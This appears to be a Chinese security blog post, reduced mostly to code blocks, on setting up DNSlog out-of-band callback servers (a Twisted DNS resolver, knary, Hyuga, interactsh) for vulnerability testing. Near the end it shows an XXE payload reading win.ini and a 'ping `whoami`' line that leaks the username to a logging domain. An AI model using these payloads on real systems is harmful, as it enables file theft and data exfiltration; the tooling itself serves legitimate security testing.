【安全工具】DNSlog工具原理搭建及使用

1http://www.dnslog.cn
2http://admin.dnslog.link
3http://ceye.io

 1#/usr/bin/python2
 2# -*- coding:utf-8 -*-
 3from twisted.internet import reactor, defer
 4from twisted.names import client, dns, error, server
 5record={}
 6class DynamicResolver(object):
 7    def _doDynamicResponse(self, query):
 8        name = "query.name.name" #修改域名 
 9        # 返回指定应答IP
10        ip = "x.x.x.x"
11        print(name+" ===> "+ip)
12        answer = dns.RRHeader(
13        name=name,
14        type=dns.A,
15        cls=dns.IN,
16        ttl=0, # 这里设置DNS TTL为 0
17        payload=dns.Record_A(address=b'%s'%ip,ttl=0)
18    )
19    answers = [answer]
20    authority = []
21    additional = []
22    return answers, authority, additional
23def query(self, query, timeout=None):
24    return defer.succeed(self._doDynamicResponse(query))
25def main():
26    factory = server.DNSServerFactory(
27    clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
28)
29protocol = dns.DNSDatagramProtocol(controller=factory)
30reactor.listenUDP(53, protocol)
31reactor.run()
32if __name__ == '__main__':
33raise SystemExit(main())

1add-apt-repository universe
2apt update 
3apt install python2
4curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
5python2 get-pip.py

 1#docker --version
 2apt-get autoremove docker docker-ce docker-engine  docker.io  containerd runc
 3#删除docker其他没有没有卸载
 4dpkg -l | grep docker
 5dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P
 6#卸载没有删除的docker相关插件(结合自己电脑的实际情况)
 7apt-get autoremove docker-ce-*
 8#删除docker的相关配置&目录
 9rm -rf /etc/systemd/system/docker.service.d
10rm -rf /var/lib/docker
11##删除docker的相关配置&目录
12docker --version

1git clone https://github.com/yumusb/DNSLog-Platform-Golang

1cd DNSLog-Platform-Golang
2 vi config.tomal

 1[front]
 2template = "index.html"
 3[back]
 4listenhost = "0.0.0.0"
 5listenport = 11111
 6domains = [ "log.xxx.xx"]
 7cname = ""
 8[basicauth]
 9check = false
10username = "yumu"
11password = "yumusb"

1go env -w GO111MODULE=on
2go env -w

1wget https://ghproxy.com/https://github.com/sudosammy/knary/releases/download/v3.3.1/knary-3.3.1-linux-amd64
2chmod +x knary-3.3.1-linux-amd64
3mv knary-3.3.1-linux-amd64 knary
4./knary

1export GIT_SSL_NO_VERIFY=0
2git clone http://ghproxy.com/https://github.com/sudosammy/knary.git
3# 编辑docker-compose.yaml的信息
4vim docker-compose.yaml

 1version: "3.9"
 2services:
 3  knary:
 4   container_name: knary
 5    hostname: knary
 6    restart: always
 7    env_file:
 8  - .env # as commented below, you can also use the `environment` key to specify variables. This will overwrite anything in `env_file`
 9# environment:
10#   - DNS=true
11#   - HTTP=true
12#   - BIND_ADDR=127.0.0.1
13   - CANARY_DOMAIN=log.log4j2.ga
14# (etc. etc.)
15build: .
16ports:
17  - "80:80"
18  - "443:443"
19  - "53:53/udp"
20volumes:
21  - ./certs:/certs/

 1vim .env
 2# 内容
 3# RENAME ME TO .env
 4DNS=true
 5HTTP=true
 6BIND_ADDR=0.0.0.0
 7CANARY_DOMAIN=log.log4j.ga
 8[email protected]
 9EXT_IP=1x1.xxx.1xx.x3
10DEBUG=true
11LOG_FILE=knary.log

1mkdir certs

1sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./certs/selfsigned.key -out ./certs/knary.crt

1# 卸载原先docker
2apt-get remove -y remove docker
3# 安装最新docker
4curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
5# 安装docker-compose
6sudo curl -L 
7"https://ghproxy.com/https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/bin/docker-compose
8sudo chmod +x /usr/bin/docker-compose

1nameserver 8.8.8.8
2nameserver 114.114.114.114
3nameserver 127.0.0.53
4nameserver 223.5.5.5
5options edns0

1RUN export GOPROXY=https://goproxy.io && go get 

1git clone https://github.com/Buzz2d0/Hyuga.git
2cd Hyuga

1docker-compose build
2docker-compose up -d

 1apt-get update
 2apt-get -y upgrade
 3apt install  -y gcc
 4mkdir tmp
 5cd /tmp
 6wget https://dl.google.com/go/go1.16.1.linux-amd64.tar.gz
 7tar -xvf go1.16.1.linux-amd64.tar.gz 
 8mv go /usr/local/
 9echo "export GOROOT=/usr/local/go" >>  ~/.profile
10echo "export GOPATH=$HOME/go" >>  ~/.profile
11echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> ~/.profile
12source ~/.profile

1go get -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest

1docker run projectdiscovery/interactsh-server:latest -domain log.log4j.ga

1<?xml version = "1.0"?>
2<!DOCTYPE note [
3<!ENTITY hacker "Tr0e">
4]>
5<name>&hacker;</name>

1<?xml version="1.0"?> 
2<!DOCTYPE foo [    
3<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
4<foo>&xxe;</foo>

 1//变量                 类型       描述
 2//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
 3//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
 4//%CD%                                                        本地       返回当前目录字符串。
 5//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
 6//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
 7//%COMPUTERNAME%      系统       返回计算机的名称。
 8//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
 9//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息，请参阅 Date。
10//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
11//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
12//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
13//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
14//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
15//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
16//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
17//%PATH%                         系统       指定可执行文件的搜索路径。
18//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
19//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值：x86 或 IA64（基于 Itanium）。
20//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
21//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
22//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
23//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
24//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
25//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录（即系统根目录）的驱动器。
26//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
27//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP，而其他应用程序则需要 TMP。
28//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息，请参阅 Time。
29//%USERDOMAIN%                   本地       返回包含用户帐户的域的名称。
30//%USERNAME%                     本地       返回当前登录的用户的名称。
31//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
32//%WINDIR%                       系统       返回操作系统目录的位置。

1ping `whoami`.8b7b7d7c.log.xxx.cf